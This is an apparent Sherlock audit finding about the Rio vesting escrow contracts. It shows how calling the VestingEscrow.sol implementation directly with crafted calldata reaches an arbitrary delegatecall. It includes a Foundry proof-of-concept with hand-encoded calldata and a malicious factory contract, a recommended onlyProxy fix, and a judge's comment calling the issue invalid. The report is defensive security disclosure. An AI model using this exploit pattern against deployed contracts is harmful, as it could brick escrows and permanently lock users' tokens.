zzykxx - Arbitrary `delegatecall` in the `VestingEscrow.sol` implementation

[sherlock-admin]

zzykxx

high

Arbitrary delegatecall in the VestingEscrow.sol implementation

Summary

It's possible to execute a delegatecall to an arbitrary address on the VestingEscrow.sol implementation.

Vulnerability Detail

The VestingEscrow.sol implementation takes the parameters it works with from the calldata. This works fine if the implementation is called via the designated proxy, but allows an attacker to specify custom parameters when calling the implementation directly.

In the implementation there's 4 functions that perform a delegatecall on parameters specified in the calldata:

• initialize(bool _isFullyRevokable, bytes calldata _initialDelegateParams)
• delegate(bytes calldata params)
• vote(bytes calldata params)
• voteWithReason(bytes calldata params)

As an example the function delegate(bytes calldata params) does the following:

1. Checks the function is called by the recipient: the recipient is specified in the calldata.
2. Gets the VotingAdaptor from the factory: the factory is specified in the calldata.
3. Executes a delegate call on the VotingAdaptor.

An attacker can call delegate(bytes calldata params) directly on the VestingEscrow.sol implementation with specific call data in such a way that:

1. The recipient is himself, to bypass the modifier.
2. The factory is a custom contract that returns the address of a malicious adaptor.
3. The malicious adaptor calls the selfdestruct opcode, self-destructing the VestingEscrow.sol implementation.

POC

Showing the use of selfdestruct in a foundry test is not possible because selfdestruct takes effect only when the test is over, but this shows it's possible to perform a delegatecall to an arbitrary address.

This can be copy-pasted in VestingEscrowFactory.t.sol:

function testArbitraryDelegateCall() public {
    address maliciousFactory = address(new MaliciousFactory());
    address vestingEscrowImpl = factory.vestingEscrowImpl();

    address attacker = makeAddr("attacker");

    bytes memory craftedCalldata = abi.encodePacked(

        //CALLDATA FOR FUNCTION `delegate(bytes)`
        hex"0ccfac9e", //fn selector of `delegate(bytes)`
        hex"000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000", //`bytes params of delegate(bytes)`

        //MALICIOUS CALLDATA
        address(maliciousFactory), //address: malicious factory
        hex"0000000000000000000000000000000000000000", //address: OZVotingToken address
        address(attacker), //address: recipient
        hex"0000000000", //uint40: starttime
        hex"0000000000", //uint40: endttime
        hex"0000000000", //uint40: cliffLength
        hex"0000000000000000000000000000000000000000000000000000000000000000", //uint256: totalLocked
        hex"006d" //2 bytes for data length

    );

    vm.prank(attacker);
    (bool success, bytes memory data) = vestingEscrowImpl.call(craftedCalldata);
}

The test requires two custom contracts:

contract SelfDestruct {
    function delegate(bytes memory params) public {
        //selfdestruct call: in foundry is not possible to show the effects of `selfdestruct` because the results only take effect when a call is done.
    }
}

contract MaliciousFactory {
    address sd;
    constructor() {
        sd = address(new SelfDestruct());
    }
    function votingAdaptor() public returns (address) {
        return address(sd);
    }
}

Impact

All of the proxies pointing to the destructed implementation would be bricked and all of the tokens permanently locked.

Code Snippet

Getting factory from calldata: https://github.com/sherlock-audit/2024-01-rio-vesting-escrow/blob/main/rio-vesting-escrow/src/VestingEscrow.sol#L20

Getting recipient from calldata: https://github.com/sherlock-audit/2024-01-rio-vesting-escrow/blob/main/rio-vesting-escrow/src/VestingEscrow.sol#L30

Tool used

Manual Review

Recommendation

Implement an onlyProxy() modifier on the VestingEscrow.sol implementation that checks that the execution is being performed through a delegatecall call.

Openzeppelin example

Duplicate of #60

[sherlock-admin2]

1 comment(s) were left on this issue during the judging contest.

pratraut commented:

'invalid due to owner who is deploying escrow contract is TRUSTED entity'